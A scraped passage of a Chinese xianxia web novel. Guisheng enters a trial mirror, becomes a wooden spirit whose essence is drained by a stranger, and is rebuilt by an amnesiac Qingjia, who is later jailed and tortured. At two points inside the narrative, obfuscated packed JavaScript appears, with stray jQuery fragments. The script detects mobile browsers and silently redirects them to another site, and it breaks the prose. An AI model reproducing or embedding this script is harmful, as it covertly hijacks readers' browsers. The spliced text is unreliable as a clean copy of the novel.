直到妙慧灵祖的下一句话,把她的思绪砸了回来:“因为莲华殿的失误,险些让你们丢了性命,所以,作为补偿,我决定将唯二的灵主候选的名额与考验给予你们。” 归笙指了指自己:“?” 清伽有资格获得名额毋庸置疑,她是怎么回事? 灵祖分明知道她的莲华境学得有多令人发指。 妙慧灵祖温柔地看向她:“作为他的伙伴,你不希望陪他完成考验么?” 原来是充当一个伴考的作用。 那没事了。 归笙求之不得,毕竟她得进入幻境,才能时时刻刻关注开启“境中之境”的莲华境是否有崩毁的迹象。 可是…… 归笙茫然地道:“只是为了补偿,就让我占掉一个名额的话……是不是有些太不公平了?” 其他小灵侍也认真学了三年呢。 妙慧灵祖温声道:“既然已有最佳的唯一选择,又何必叫那些孩子白跑一趟。” 最佳的唯一选择是谁,不言而喻。 灵祖这么说的话,倒是有点道理。 但归笙还是觉得不太对劲。 妙慧灵祖就这么笃定清伽能通过这道考验,以至于连尝试的机会都不给其他小灵侍? 她是从现实来到的莲华境,知道清伽的确就是日后的灵主,但莲华境中的妙慧灵祖应当不知道才对。 灵祖这样做,是不是太独断专行了些? 但……这毕竟轮不到她置喙。 妙慧灵祖道:“‘往生镜’之所以得名,是因其中以初代灵主的残魂为镜原,在镜界中投射复刻了初代灵主的人生轨迹。” 归笙方才定神,就被灵祖的这句话吓了一跳。 这场考核,竟然是和初代灵主相关的么? 妙慧灵祖接着道:“这道考验,便是要参考者重走初代灵主的人生轨迹,观其是否会被初代灵主的残魂影响,甚至控制;还是能以自身的心念行止,走出一条不一样的道路,做出不一样的抉择。” 妙慧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745429|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵祖摸摸归笙的头,和声说:“三年前,你在讲学之日上的所有关于初代灵主的疑惑,都能在这道考验中得到答案。” “言尽于此,剩下的,需要靠你们在考验中随机应变。” 妙慧灵祖侧过身,让出一条通向往生镜的道路。 “现在,你们可以进入往生镜中,进行考验了。” 初代灵主的人生轨迹…… 根据归笙目前听到的传闻,这轨迹中至少包括:莲华境造诣最高、疑似淫|虐灵怪、在焚城焰的成因中并不无辜、是西漠灵源枯竭的罪魁祸首…… 一言蔽之,毁誉皆有,毁多于誉。 没有理解错的话,清伽会在考验中将这些都亲身经历一遍? 归笙瞥一眼毫无异议的清伽。 说不担心是假的,但一想到进入这道考验后,就有可能从莲华境里出去了,归笙立刻浑身充满了干劲。 而且既然莲华境外的清伽成为了灵主,想必他已在过去顺利通过了这个考验,她的担心是多余的。 归笙清空杂念,想了想,握住了清伽的手。 清伽低头看了眼交握的手,又抬头看了看归笙。 没留意掌心升起的温度,归笙解释:“试试能不能防止被冲散。” 如果可以的话,她当然不想再变成刚进入莲华境时找不到清伽的没头苍蝇了。 然而事实证明,就算是拉着手,也还是会被镜界冲散的。 被往生镜的光芒浸没后,归笙在一阵辘辘的车轮声中恢复意识。 视野甫一明亮,一簇炫目的烟花便在夜空中绽开。 落星如雨,融入灯火辉煌,映亮长街彩带相招,招来笙箫清音悦耳,送入各式店铺林立不绝,共赏奇珍异宝琳琅满目。 长街之上,来往游人如织,不仅有身着锦绣绫罗的西漠人族与灵怪,亦有相对而言打扮正经的中州修士,甚至还有鬼鬼祟祟夹着尾巴乔装人族的狼妖,对着街边的烤肉摊铺口水嘀嗒。 历历望去,归笙恍惚以为自己误入了什么盛宴现场。 然而观察片刻,她恍然知晓,这只是一个普通日子的夜市之景。 是三百年前的西漠夜景。 沁凉的晚风,倏尔卷起一阵风沙,将无忧无虑的笑声传至归笙耳畔。 随之而来的,还有无穷无尽、铺天盖地的浩瀚灵髓。 久旱逢甘霖,归笙被这股浑厚的髓华冲击得神魂都震荡了一下。 元魂中的九颗核桃更是齐齐一个原地飞升,险些把她的天灵盖撞飞。 好容易镇静下来,归笙不禁忧愁地想:从简入奢易,由奢入俭难。 这要是在往生镜中耽搁得太久,她被这三百年前的西漠灵髓养大了胃口怎么办? 只能希冀于莲心尽快撑不住境中之境了。 归笙提步欲走,打算去找清伽。 既然是复刻初代灵主的人生轨迹,那他此时正应当是莲华殿的一名灵侍。 归笙这样想着,冷不丁发现自己迈不开腿。 她奇怪地下移视线,想看看是什么东西困住了她的脚步,居然能困得这么死。 结果,她连她的两只脚都没找到。 触目所见,只有一根光滑平直的木棍,东倒西歪地半插在泥土里。 也就是说…… 归笙的脑袋瓜“轰”的一声。 她居然…… 从一只有头有脸、有手有脚的树怪变成了……一根木头? 没错,一根木头! 21. 三百年 归笙:“……” 归笙瞪大了眼。 毕竟除了瞪大了眼,她这会儿也没有其他的方式来表达她的震惊。 虽然她的确能感受到自己嘴巴的存在,但却张不开。 因为她的嘴被木屑满满当当地糊住了! 震惊之后,归笙开始悲伤地反思。 反思当日莲华殿顶的短暂一面,她究竟做了何等伤天害理之事,才让莲心执着地认为她的本质是一根木头? 莲心是在怪她袖手旁观,不出手相救,像根木头一样杵在一边吗? 天地良心!她当时也被清伽铐着呢! “哦呦!” 归笙满心叫冤时,头顶上蓦地响起一道粗嘎的叫唤。 一张陌生的人脸挤进归笙的视线,脸上写满了惊奇。 这人道:“老乌,快过来看!” 两步外,被称作“老乌”的人动作一停:“老啄,啥事啊?” 老啄摸着下巴,一瞬不瞬地打量归笙,惊叹地道:“你过来看看,这根木头的这个树皮纹理……嘶,像不像一张人脸?” 听言,老乌霎时一脸恶寒:“木头哪来的人脸?你别故意吓唬人!” 老啄冤枉喊道:“我没吓唬人!这脸也不恐怖,你过来瞅瞅,可滑稽了。” 老乌这才拎着斧头,将信将疑地凑过来一看。 随即他大笑出声:“哎呦,真的!这像眼睛的地方还瞪得老大!” 归笙:“……” 她动不了,也无法发出声音,只能默默忍受着这二位兄台的嘲笑。 由于他二人笑得太过放肆,不一会儿就惊动了不远处的监工。 “那边的两个磨叽什么呢?赶紧干活!” 监工厉声喝道:“没劈的木头赶紧劈,这批木料马上就要送过去了——仔细耽误了楼里的扩建,你们担待不起!” 两个木工被喝得脖子一耸,顿时收敛了笑,老啄连忙将泥巴里的归笙掰正,老乌则对站正的归笙举起了刚劲有力的手臂。 归笙于是眼睁睁看着那把寒光凛凛的斧头高高举起,对准了自己的木头脑袋。 该如何形容眼下的状况呢? 生死攸关,命悬一线。 归笙的大脑一片空白,只有一个念头疯狂叫喊—— 快跑! 下一瞬,她僵木的身体陡然滚热。 四面八方的灵髓如同响应召唤,奔涌着归入这具木头身体的髓脉。 修为骤然跃升的同时,两根枝条从木头底部窜出,“欻”一下把木头从泥巴里撑了出来。 归笙根本来不及思考这是个什么大变活木的情况,奋力扭身一蹦,堪堪躲过那把斧头的当头一劈。 她头也不回,拔“腿”就跑,两个木工的惊叫被她远远甩在身后。 “木头长腿了!跑了!” “大惊小怪的,这在咱们西漠算个什么事?你不也啄木鸟化形吗?” “倒霉啊!化形了再劈就算杀生了,再去找找有没有死木头吧……” “……” 归笙一口气跑出老远,直跑到莲华殿外的一处矮山脚下,躲进一处阴暗的小树林里才停下,一路收获无数惊诧侧目。 林间木叶稠密,裁落月光,依稀照见一条小溪明若玉带,沿着缓坡潺潺而下。 归笙喘着粗气,踉踉跄跄扑到溪边,就着月光察看自己的倒影。 “……” 原以为有了树怪的经历,她已然百毒不侵,能够坦然接受一切略微粗犷的外形。 然而,当看清溪中那根长着一张人脸,伸着两条人腿的木头时,归笙还是陷入了长久的沉默。 她理解刚才的木工为何笑成那样了。 这实在怪不得人家。 她应得的。 首先,这张长在木头上的人脸,真的很丑,丑得像是稚童拿笔歪歪扭扭画上去的,丑得不仅令人发指,也令人发疯。 其次,但凡不是只有两条腿,再给这木头来两只手,也不至于像两根筷子上插着的一坨青棕年糕,丑得如此滑稽…… 正想着,身体两侧忽然传出“噗噗”两声。 归笙愣愣低头,瞪着突然从木头上冒出来的两只手。 严谨地说,这也不能算是手,和她此刻的腿一样,顶多算是木头主干上伸出的侧枝,只是因为在末端形成了五根能够舒展的枝杈,所以和人手有异曲同工之妙。 类似指缝的枝桠间,有点点灵光轻涌,是这具躯壳的髓华。 显然,这具木头灵怪的躯壳方才竟不知不觉突破了境界,向着化出完整的人形更进了一步。 可她分明什么都没干啊? 莫非只是对着溪水腹诽抱怨了一句,也能内化灵髓吗? ……三百年前的西漠灵髓丰沛程度竟然恐怖如斯! 归笙伸出崭新的木头手掌,挠了挠光秃秃的木头脑袋,思索着要不她再嘀咕两句,看看这人形能不能再化完整些? 毕竟这副样子找上莲华殿去,会不会被赶出来另说,丢脸是一定的。 于是归笙双手合十,正要虔诚地对着空气中的灵髓许下愿望。 “大人,您没事吧?” 一道迷离如烟的女声,冷不丁飘响在寂静的树林里。 归笙浑身的木头皮屑一炸,匆忙躲进了旁边的一块大石后。 黑静的树林间,两双脚步声渐行渐近,却深深浅浅,落步不匀,显然这二人都受了伤。 且其中一人伤得更重些,到了需要旁边那人搀扶才能行走的程度。 藏身的石块上有被风沙侵蚀而成的孔洞,归笙小心翼翼地将眼睛对准孔洞,向声音来处望去,果然看到紧紧相贴的一对身影。 看身形,那应当是一男一女,受伤更严重、走路也走不稳的是其中的男人。 二人在石块的不远处停下,空气中逐渐充斥满浓烈的血腥味。 男人气息不稳,冷然不忿:“想不到这西漠的独门术法还挺邪门,竟然能伤到我。” 女人柔声道:“只是邪门罢了,大人吃了一次亏,下回定然一切顺利。” 男人冷哼一声,被女人搀扶着盘腿坐下,开始运转髓华,调息止血。 恢复了些力气,男人张口,道出一句威严的号令:“你,去把那只溪边的灵怪逮过来,把它的髓华全部抽出来给我。” 女人柔驯地应下:“是,大人。” 疑似“溪边的灵怪”本怪的归笙:“???” 对方的口吻可不是开玩笑,心神惧震间,归笙撒腿就跑。 虽然这不是她自己的壳子,但抽光髓华什么的听上去就很痛! 然而没跑两步,她头顶的两片叶子就被狠狠地揪住。 被擒住的一瞬,归笙骇然:她甚至没听到这女子靠近的动静,就被她抓住了! 这女子,简直就像是凭空从她身后的空间冒出来的一般! 不及多想,一道深不可测的威压,一泓冰寒的汪洋般当头压下。 这修为…… 归笙龇牙咧嘴地叫苦。 这修为,换她真身来应付都得够呛,更别提这个刚修出人形的灵怪了! 这不,连挣扎都不曾有,木头灵怪瞬间失去了反抗之力。 这副肉身是动不了了,归笙只得运转九窍核桃。 却仿佛遭遇某种禁制,周围的灵髓根本无法与九窍核桃构建联系。 归笙愣了愣,攒起神念,定睛一看。 原来此刻,在她的元魂外部还包裹着另一重元魂,是她所附身的这只木头灵怪的元魂。 电光石火间,归笙隐隐想通了缘由。 既然是要清伽重走初代灵主的人生轨迹,考验他在初代灵主的身份处境下是否会做出不一样的选择,那么除了他本人的行动之外,其他的事件发展应当是不容外力更改的,这样才能尽最大可能地复刻昔年的境况。 作为伴考,往生镜将她放进这个木头灵怪的躯壳里,恐怕只允许她起一双见证的眼睛的作用。 所以在往生镜中,她只能使用这灵怪的肉身,以及这灵怪的元魂。 归笙:“……” 道理,她都懂。 但,一个路边化形的、险些被劈成两截送去当耗材的、跟莲华殿八竿子打不着关系的木头灵怪不想被抽掉髓华,难道会更改初代灵主的人生轨迹吗? 往生镜你要不要这么死板! 这种无关紧要的小事也要原模原样地复刻吗?! 她已经预感到前方有什么恐怖的遭遇在等着她了! 归笙无声崩溃,女人却已将她拖行着,步伐款款地走回男人的身边。 乌云蔽月,夜色浓重,树林之外的人声鼎沸、灯火粼粼,更衬此处角落幽暗冷寂,暗藏杀机。 女人将木头灵怪提起来,奉上战利品般,呈到男人的面前。 “大人,是这一只吗?” 视野晦暗,即便男人近在咫尺,归笙也看不清他的相貌。 只能通过他毫不收敛的气息判断出,此人有着比身后的女人更为强大的修为。 甚至,强大到了一种恐怖的境地。 只是被那双鹰一样的锐目注视着,这具木头灵怪的躯壳便无法自控地颤抖起来。 这是弱小面对强大的屈从本能。 “没错,就是这一只。” 男人如点评案上菜肴般,慢条斯理地道:“这木头灵怪方才化形,髓华正是最为纯净的时候,对于修复内伤大有裨益,正好为我所用。” 女人轻笑:“能为大人发挥一点价值,是这根木头活这一回的荣幸。” 那笑音婉转动听,却听得归笙的一颗心遽然收紧。 下一瞬,剧痛袭来。 女人的五指深深嵌入她的头顶,尖锐的长甲刺入她的髓脉,指尖犹若五道疯狂吸噬的漩涡,将那髓脉中涌动的髓华一点一点地抽离。 如果她此刻不是一根木头,而是一个人的话,这种感觉就如同一只手刺入了她的皮肉,攥住了她的尾椎上端,将她的整条脊椎骨一截一截地抽了出去。 皮开肉绽、分筋断骨的痛楚里,归笙隐约听到身前的男人笑了一声。 她无意识地望去,只见那双冷峻的眼眸中,浮出了几许饶有兴味。 他道:“不要让它痛晕了。” 这话乍一听是好心,似乎在提醒女人下手轻点。 然而,男人的下一句却是:“这只木头灵怪虽然长得丑,但它清醒着痛苦的模样,倒有几分意思,值得一看。” 女人咯咯而笑,脆如银铃,深以为然地应下:“好的,大人。” 随即,一记强悍的髓华灌入灵怪的元魂,强行将她因疼痛而涣散的意识聚拢。 意识恢复清明,身体对痛苦的感知程度骤然拔高,抽髓之痛暴涨的同时也无限延长,一瞬也似千百瞬的漫长煎熬。 髓华彻底抽干的刹那,木头灵怪的躯壳一个剧颤,那副才化形出来的手脚双双溃散。 又不止于此,一丛丛崎岖狰狞的裂痕一寸寸地蔓延,多足的蜈蚣般迅速爬满整根木头,“喀喀”的崩裂之声如声声弦断,急促、尖锐、刺耳。 直到某一个瞬间,整副木头的躯壳四分五裂。 或整或碎的木屑簌簌剥落,在地上积成扁扁的一滩。 “髓脉这就断了?真是个经不起折腾的废物……该走了。” 依稀间,归笙听到男人不悦的沉声:“那些灵侍追过来了。” 女人俯首称是。 在她身后,一条柔长的黑影应声甩入长空,尖端隐有青光一绽。 只见那青光划过之处,天幕竟如一面布料被划破,訇然显露一道深邃的缝隙。 女人架起男人,纵身跃入裂隙,一双身影转瞬消失无踪。 裂隙合拢,天幕愈合如初,列宿重新归列,流云宛转静谧。 仿佛片刻前天幕撕裂的景象,只是归笙痛到极致后的错觉。 不过很快,这痛觉也不甚清晰了。 这具灵怪的肉身崩毁,那女人灌入的髓华无处可寄,归笙的意识也不再被强行聚拢,渐渐昏沉下来。 这不是脱力或晕厥的前兆,而是这只木头灵怪快要形魂俱散了。 归笙不信邪,化作一滩木屑的身体坚强地抬起一角,又“啪唧”一声栽了回去,激起飞屑扬扬。 归笙信邪了,开始迟钝地思考:不是说让她来伴考的吗? 这人还没找到呢,她附身的壳子就要没了! 接下来怎么搞?让她自己的元魂游魂一样飘来飘去吗? 也不是不可以。 正好她不用顶着这么丑的一具壳子满幻境乱跑了。 归笙释然了。 于是她松弛地趴了下来,放任濒死的僵木感席卷这具木头躯壳。 眼前的场景一重重地黯灭下去,似坠入亘古无光的长寂黑暗。 又在某一个瞬间,忽然回光返照。 这是生灵最后的求生本能,归笙自然无法抗拒,霍然“起身”。 却被一只手按住。 “别动。” 伴随一道朦胧的嗓音,满眼的黑暗停止沦陷。 视野中,星星点点的清光亮起,勾勒出一道影影绰绰的人影来。 四下微微风起,碎木纷零,却被一只手不厌其烦地拢进手心。 归笙望着蹲在身前的人。 如果不是木屑没法做表情的话,她一定难掩震惊。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16745430|189864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 眼前的人,是清伽。 却又不是她认识的清伽。 不是现实里见到的已是灵主的少年清伽,亦不是第一重莲华境中见到的十岁出头、失去记忆的清伽。 虽然样貌还是那副样貌,但细微之处,处处皆是陌生的痕迹。 眉目舒朗平和,不见寸锋微芒,眼尾浅浅上扬,像无时无刻不噙着一抹温淡平和的笑意,似清风白雪月华,又似运笔隽秀的水墨画。 说人话就是:看面相,这人的脾气似乎变好了。 而且…… 归笙十分费解:这人进了个幻境,怎么一下子变老了? 她带了太久的美丽小孩,这会儿乍一看到这么个绝色成人,她都不习惯了。 莫非是因为这个时间节点上,初代灵主已经是青年的岁数,往生镜为了令二者更加契合,所以把清伽也往上拔了几岁?还顺便把他的耳聋失语都给治好了? 真是一面神通广大的镜子啊。 算了,年纪什么的不重要,人还是那个人就行。 归笙急着跟清伽交流眼下究竟是个什么鬼情况,一时忘了自己还在死亡的边缘,张牙舞爪地表达手语,试图让他认出自己。 而这一番行径,落到清伽的眼中,就是一滩稀碎的木屑,蛄蛹着,蠕动着,颤巍巍地卷住了他的手指,意义不明。 但那副奄奄一息,却身残志坚的样子,非常令人感怀。 清伽挑了挑眉,抛出一记定身咒。 瞬间动不了的归笙:“……” 清伽柔声道:“为你好,先别动,再动就真的救不回来了。” 又是一记髓华灌入身体,却与先前的感受截然相反。 若说那女人的髓华犹如无数利斧将她劈碎,此刻清伽的髓华,便是将碎了满地的木屑一片一片地细心拾起。 “得先给你定个形,不然你这个样子,风一吹就散了。” 清伽说着,四下望了望,似乎在寻找给她定形的灵感。 可树林中黑黢黢的一片,哪里能找到什么灵感。 正踌躇间,一阵妙曼的乐音,袅袅自山下的夜市浮起。 这乐音时而璀璨,时而沉寂,悠扬婉转,灵动轻盈。 好歹在莲华殿陪读了三年,归笙立刻就听出了演奏的乐器。 这是西漠独有的乐器——砂笙的乐音。 清伽显然也听出来了。 他眸光微动,似被这乐音点拨,拿定了主意。 清伽垂下眼来:“就这个吧。” 手指拂过掌心的木屑,髓华聚若针线,在其间穿引、构筑、连结。 归笙看不见自己的具体状况,只觉一身疏松的筋骨渐渐硬朗了许多。 在清伽眼眸的倒影里,她看见自己被他重塑成了一只小小的砂笙。 清伽道:“先用这个形态将就一下,至少不能被风吹得到处都是吧。” 说完,他才放心地松开手指,将掌心里的砂笙捧起来,细细察看。 看了没一阵,他的表情中就流露出几分后悔。 归笙:“?” 他后悔什么? “髓华抽干净了,髓脉毁得彻底,肉身也不一定能恢复,就剩下这么一点元魂没事……” 清伽遗憾地摇了摇头,半真半假地叹了口气。 “唉,救了也是白救,指不定哪天魂也散了……真是白白浪费我的髓华。” 归笙:“……” 久违的拳头梆硬的感觉。 这个人! 果然还是不会说话时最可爱! 更可气的是,他说的还都是实话,她连反驳都没法反驳。 髓华抽干,髓脉断裂,肉身崩毁,这一连串惨事要是发生在修士身上,不死也得去了半条命,余生只能做一个缠绵病榻的废人。 这只被她附身的灵怪没有当场消散,只能说是清伽对她抢救及时了。 然而一时的抢救成功,也不意味着她之后就能顺风顺水地活下来。 见手里的砂笙气得抖啊抖,清伽眼眸弯弯,正要再说些什么。 一串杂沓的脚步声兀地由远及近,几息之间便已迫至身后。 清伽笑意稍淡,将归笙往袖子里一藏,慢吞吞转过身去。 “清伽,你鬼鬼祟祟的,在这里做什么?” 透过袖口的缝隙,归笙看到一行与清伽年纪相仿的青年。 看他们的打扮,应当都是莲华殿的灵侍。 只是那一身身行头皆是华冠丽服,比三百年后要来得阔绰得多。 看来三百年前的莲华殿还是很有钱的。 只是这些有钱的灵侍,一个比一个看上去态度不善。 清伽看向那发问的灵侍,温声答:“自然是追捕潜入莲华殿的贼人。” 灵侍喝问:“那贼人呢?” 清伽诚实地道:“没追上,大抵是跑了。” 那灵侍看他一阵,突然道:“你不是已经伤到那个贼人了吗?怎么还能让他跑了?莫不是你跟贼人里应外合做了一出戏,把人给放跑了吧?” 闻言,其他灵侍纷纷点头,面露赞同。 归笙:“?” 如果她这会儿能开口,定然已经跳了出来,揪着对方的鼻子问:这位兄台,请问你大放厥词的凭据是? 察觉袖中的激烈震动,清伽微微一顿。 随即,归笙就感觉自己的脑袋被抚了一下,像是在劝她少安毋躁。 清伽就像是早已习惯了这种场面,不愠也不怒,只低眉顺目地微笑。 他目光绕了一圈,施施然道:“诸位不也是空手而归?” 仿佛早料到他会如此反问,那灵侍冷冷一笑:“我等不过是莲华殿的普通灵侍,无名小卒尔,追不上贼人,本就在情理之中。” 他话锋一转,口气讥诮:“但没道理作为灵主候选的你,会追不上。” 清伽笑叹:“真是折煞我了。” 他温言软语,从气势上把自己矮化成了一只任凭蹂躏的软柿子,谁都能过来踩上几脚似的。 归笙正恨铁不成钢间,就听他接着道:“其实,灵主候选的考核挺简单的,不需要有多深的莲华境造诣就能选上的……能在一众同僚里脱颖而出,我当时也很惊讶,毕竟我什么都没准备,考核的前一夜直接睡过去了。” “不过瞧诸位这般耿耿于怀,要不我去同灵祖说道说道,把这个候选名额让给你们当中的谁?反正……我也不是很想要。” 他垂头丧气,万分苦恼地道:“因为要写好多材料,真是太麻烦了呢。” 一众灵侍:“……” 归笙:“……” 这张嘴…… 难怪人缘看起来很不好…… 22. 养灵怪 清伽为他的嘴付出了代价。 在那一行追捕贼人的灵侍中,他修为是最高的,头衔貌似也是最高的,但权限却不是最高的。 与他呛声的灵侍以“追捕不力,疑似里应外合放走贼人,须细细审问”为由,将清伽关进了牢狱。 好巧不巧,还正是归笙蹲过的水月牢。 隔了三百年,水月牢除了陈设更加崭新外,里头的布局倒是没什么变化,亲切眼熟得让归笙怀疑下一刻外头就会走来个小灵侍给她念诵清心咒。 清伽对下狱这件事情接受良好,每天在牢里安然打坐,听到传唤便出去接受审问,不久后再血淋淋地回来,安详躺下养伤,养好了再重复上述流程,十分规律。 而归笙,则被他摆放在水月牢中的一个固定的区域。 水月牢的上方有一格方形的窗,近乎全天都会在牢中投落一小块光斑,清伽就把她放在那块光斑里,让她白日晒太阳,夜晚沐月亮,意图不明。 归笙就这样暗中观察了他半个月,终于绝望地确定了一件事情—— 往生镜的考验,收走了清伽的记忆。 她早该想到的,既然要考验参考者的心念举止,就不可能让他记得这是一场考验,否则即便遇到十分严峻的境况,比如要以身涉险,而由于参考者心知只是个幻境,说不定会做出他原本并不会做出的选择。 所以,目前的清伽忘了这是一场考验。 他以为自己就是初代灵主本人。 他开始沉浸式体验初代灵主的人生了! 归笙:绝望而无声地尖叫。 尖叫好半天,归笙勉强捡回理智,冷静地梳理了一下目前的状况。 也就是说,她和现实里已经成为灵主的清伽追捕莲心,双双陷入莲心编织的莲华境,不知是幻境还是时空倒流,她在第一重莲华境中遇到了失去记忆的幼年清伽,又和幼年清伽参与灵主候选的考验,进入了往生镜构建的三百年前的幻境,也即可能会让莲华境崩塌的“境中之境”。 很好,虽然整个过程有点复杂,但就结果来看,目前正合她的计划。 清伽体验就体验吧,最好体验得激烈些,赶紧让莲心的术法崩掉。 理智上接受了现状,但情感上归笙还是想掐人中。 因为往生镜给她安排的这个壳子实在是太压抑她好动的天性了! 原来的树怪还能正常活动,如今的这个木头灵怪却动不了也说不了话,还命悬一线,随时都有可能崩成一滩稀碎的木屑。 让她以这个形态等莲华境崩毁? 恐怕莲华境还没崩毁,她的精神先被摧毁了! 可惜归笙目前的形态并没有人中,掐无可掐,只能在心中一顿凄风苦雨。 清伽回来的时候,归笙心中的凄风苦雨正演变为电闪雷鸣。 “咦?” 清伽施施然蹲到归笙面前,戳了下她头顶上那片迎风狂摆的绿叶。 “在想什么?看起来这么伤心。” 归笙不电闪雷鸣了,转为惊恐地看着清伽满身滴滴答答的鲜血。 不是第一次见他被用刑后的样子,但这一回格外惨烈,绝对超过了正常审讯的范畴,更像是纯粹的折磨泄愤。 清伽歪头:“你在看我的伤吗?” 归笙:不然呢?看你笑得花枝招展吗? 清伽笑得更开心了,将手肘搭上膝头,撑腮道:“那些家伙折腾了大半个月,什么都没审问出来,贼人也没抓到,死无对证,明天大概就不得不放我出去了,所以他们今天有些气急败坏,下手也重了些,吓到你了吗?” “不过没关系的,”他道,“他们抓我的时机不大凑巧,别的牢房暂时腾不出来给我,只能把我丢到这个一般只给大人物蹲的地方了。” 归笙:……大人物? 清伽:“是啊,这座水月牢么,是莲华殿里最适合疗伤的牢狱,通常用来关押需要处以极刑又留之有用的人物,比如修为很高的叛徒之流,治好了再让他们套着枷锁,继续为莲华殿效力……总之,待在这里,我这些伤很快就不流血了。” 他拨了下木头灵怪脑袋上的叶子,语气轻快:“所以,不要害怕。” 归笙瞅他一眼。 明明追捕贼人时是第一个追过去的,却平白无故被泼了脏水,挨了刑讯,这人竟似乎半点也不生气,还有闲心笑眯眯地对着一根不会讲话的木头絮絮叨叨。 怎么变得这么没心没肺的?是受初代灵主残魂的影响吗? ……那位风评不佳的初代灵主原来是这种性格吗? 归笙有种不切实际的荒谬感。 第二日一大早,没心没肺的清伽就端起归笙,怡怡然出狱了。 好巧不巧,引清伽出狱的灵侍正是当夜给他扣帽子的那名灵侍。 他的脸色难看至极,放狠话道:“清伽,别以为就这么结束了,你……” 清伽头也不回,健步如飞地走开了:“好的好的。” 离开水月牢,清伽所做的第一件事,便是直奔西漠主城的一家乐器铺。 他捧着归笙,在一众琳琅满目的砂笙里问她:“你最喜欢哪一个?” 归笙:我是一根不会说话的木头,谢谢。 清伽:“我带着你走一圈,你看中了哪个,就在哪个面前晃一下脑袋上的叶子,好吗?” 归笙:好个鬼!没看见人家乐器铺的掌柜已经在用看傻子的眼神看你了吗? 可惜清伽听不到她内心的吐槽,旁若无人地走了起来。 即便目前的形态是根木头,归笙也实在丢不起这个脸,当即看都不看,直接在第一只砂笙前狂摇叶子。 清伽瞥了一眼,道:“这只外形太端庄了,不适合你。” 归笙:“……” 由于后续归笙直接选择装死,清伽只好自己挑了一只砂笙买下。 回到莲华殿,清伽径自回到自己的寝院。 归笙:三百年前的莲华殿竟然能给灵侍提供单人独院!阔气! 东边的那间是寝屋,清伽正在走进的这间是书房…… 等等,书呢? 归笙愕然。 只见这间“书房”里,书柜、书案、躺椅、窗台……但凡能用来摆放东西的地方,都摆满了千姿百态、出神入化的木雕。 就连那仅有的一扇窗子,似乎也是被人拆了原来的窗纸,自己做了木头雕花的窗棂装上去的。 而在这间书房里唯一看不见的,就是莲华殿灵侍修炼必备的咒卷。 真的,归笙找了半天,确实是一本咒卷都没有。 若是将这间屋子原封不动地搬去丢到街上,任哪个过路人看了,都不会朝莲华殿灵侍想去,而是会笃定这是哪个木雕手艺人的作品展厅。 归笙叹为观止。 她原以为自己在栖雪峰的狗窝就已经足够不务正业,没想到西漠这位三百年前的初代灵主更胜一筹…… 嗯? 归笙心念一顿。 三百年前的初代灵主,也喜欢做木雕吗? 还是说,是因为清伽与初代灵主的残魂相融,才将这个爱好也带了过来,二者其实是相互影响? 不及归笙多想,清伽在书案上铺好一层布巾,将归笙和刚买来的砂笙往布巾上并排一放。 归笙:……这是要干什么? 清伽擦净刻刀,悠悠道:“当时事态紧急,我是全凭印象雕刻的砂笙形状,不大准确,也不大好看。” 归笙恍然:所以,现在是要给她塑造得更精细些了? 清伽执起刻刀,对准了归笙:“害怕的话,可以不看。” 归笙:倒也没什么可怕的。 毕竟这具残破的灵怪身体,已经连痛觉都没了。 而且她也有些好奇,清伽打算如何化腐朽为神奇。 归笙于是瞪着个大眼,静等他动手。 结果清伽说是这么说,实则根本没给她选择看不看的机会。 他伸手在她眼前一拂,归笙就在骂骂咧咧中失去了意识。 再醒来时,清伽正取过一面镜子,朝归笙面前一放。 归笙现在看到镜子就精神,迷迷瞪瞪的头脑立刻清醒无比。 清伽将归笙推到镜前:“看看,满意吗?” 归笙当然不会不满意。 她一直知道,清伽的这双手,在做木雕上无可挑剔。 这不,这会儿镜子里她的形态,比那买来当作参考的砂笙还要精巧。 无论如何,变得更漂亮总是让人愉悦的。 归笙左看右看,愉悦得元魂震动。 然后镜子里的砂笙就裂开了一角。 归笙:“……” 清伽顺手就拿木屑把那一角补好:“别太激动,你现在的肉身非常脆弱,承受不住你这么活跃的元魂。” 他又把她捧起来:“想重新修出能活蹦乱跳的人形的话,就先努力把这副原形固定住吧。” 归笙:可肉身躯壳是靠髓脉固定的,我髓脉尽毁,能行么? 清伽捧着她走到窗边:“那就先试着把坏掉的髓脉长好。” 归笙:怎么长好? 清伽拿来一只花盆,把归笙栽了进去,摆在了窗台上。 他摸摸下巴道:“木头灵怪,本质就是根木头,吸收日精月华,吸着吸着,迟早有天能长好的……吧?我也不是很清楚,总之先试试吧。” 归笙:“……” 无语片刻,归笙在心中道出怀疑:你是不是能听到我的想法? 清伽正用素帕擦掉花盆边沿的泥土灰尘,闻言,好笑地觑来一眼,似是叹服于她的迟钝。 他道:“你这全身上下,除了残存的一点元魂,以及最初的那些碎木渣,其他都是我一手重塑的……我能听到你的念头,岂不是很正常?” “再说了,你是灵怪啊。” 清伽将素帕放到一边,手肘撑住窗台,伏下身,与小小的砂笙平视。 “灵怪的话,在修出人形之前,大多没有灵智,或是灵智半开,往其体内注入髓华便能令其认主,与主人元魂相系,心意相通——你不知道吗?” 归笙:不敢再多想一个字。 慢着,不对啊? 那她这些时日反复在心中哀嚎“你能不能快点想起来这是个考验”,这清伽怎么没半点反应呢? 这不,现在就没什么反应,还是一脸颠倒众生的笑容。 归笙努力不被那笑容蛊惑,强自冷静地思索:莫非这是往生镜的禁制,但凡与考验相关的心声,都会被筛掉,不让进入考验的清伽听见? 